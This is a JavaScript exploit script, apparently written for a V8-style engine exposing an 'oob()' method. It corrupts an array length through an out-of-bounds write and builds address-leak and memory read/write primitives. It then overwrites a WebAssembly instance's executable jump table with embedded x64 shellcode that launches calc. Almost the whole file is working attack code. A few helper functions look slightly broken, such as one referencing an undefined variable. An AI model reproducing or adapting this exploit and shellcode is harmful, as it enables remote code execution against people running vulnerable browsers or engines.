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oob.js
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let ab = new ArrayBuffer(8);
let fv = new Float64Array(ab);
let dv = new BigUint64Array(ab);
let f2i = (f) =>
{
fv[0] = f;
return dv[0];
}
let i2f = (i) =>
{
dv[0] = BigInt(i);
return fv[0];
}
let i2ba = (i) =>
{
dv[0] = BigInt(i);
return Array.from(new Uint8Array(ab)).reverse();
}
let smi2f = (i) =>
{
return i2f(parseInt(i.toString(16)+"0".repeat(8),16))
}
let hexprintablei = (i) =>
{
return "0x"+(i).toString(16).padStart(16,"0");
}
const shellcode = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00]
const log=print
const debug=false;
function exploit()
{
let array = [1.1,1.2];
array[0x400+2]=1.4;
let arr = [1.1,1.2,1.3,1.4,1.5];
for(i=30;i<100;i++)
{
array.length=i;
if(array.oob()==smi2f(5))
{
log("[+] arr backstore length found at "+i);
log("[+] Corrupting arr backstore length...");
array.oob(smi2f(0x10000));
break;
}
}
if(i==99)return;
fakeme = new Array(0x41414141,0);
let arraybuffer = new ArrayBuffer(1000);
log("[+] arr backstore length corrupted")
log("[+] Getting backstore pointer index")
let idx_size_arraybuffer = arr.indexOf(i2f(1000));
let backstore_ptr_idx= idx_size_arraybuffer+1;
log("[+] Getting index for fakeme array")
let idx=arr.indexOf(smi2f(0x41414141));
log("[+] Setting up R/W primitives")
let read8 = (addr) =>
{
arr[backstore_ptr_idx]=i2f(addr);
let a = new DataView(arraybuffer);
if(debug)log(hexprintablei(f2i(a.getFloat64(0,true))));
return f2i(a.getFloat64(0,true))
}
let write8 = (idxx, data) =>
{
a = new DataView(arraybuffer);
a.setUint8(idxx,shellcode[idxx]);
}
let writeaddr = (addr,data) =>
{
write8(ddr,i2ba(data));
}
let addrof = (obj) =>
{
fakeme[0]=obj;
if(debug)log(hexprintablei(f2i(arr[idx])));
return f2i(arr[idx]);
}
log("[+] Getting RWX pointer from wasm")
let wasm_instance_addr=addrof(wasm_instance);
let jump_table_start=read8(wasm_instance_addr+0x88n-1n);
log("[+] Address RWX : "+hexprintablei(jump_table_start))
arr[backstore_ptr_idx]=i2f(jump_table_start);
for (idxx = 0; idxx < shellcode.length; idxx++)
{
write8(idxx, shellcode[idxx]);
}
log("[+] Spawning calc like its 1991 !")
pwnme();
return 1;
}
function test() {
var wasmImports = {
env: {
puts: function puts (index) {}
}
};
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
return m;
}
wasm_instance=test();
pwnme = wasm_instance.exports.hello;
log("[+] Let's go !");
exploit();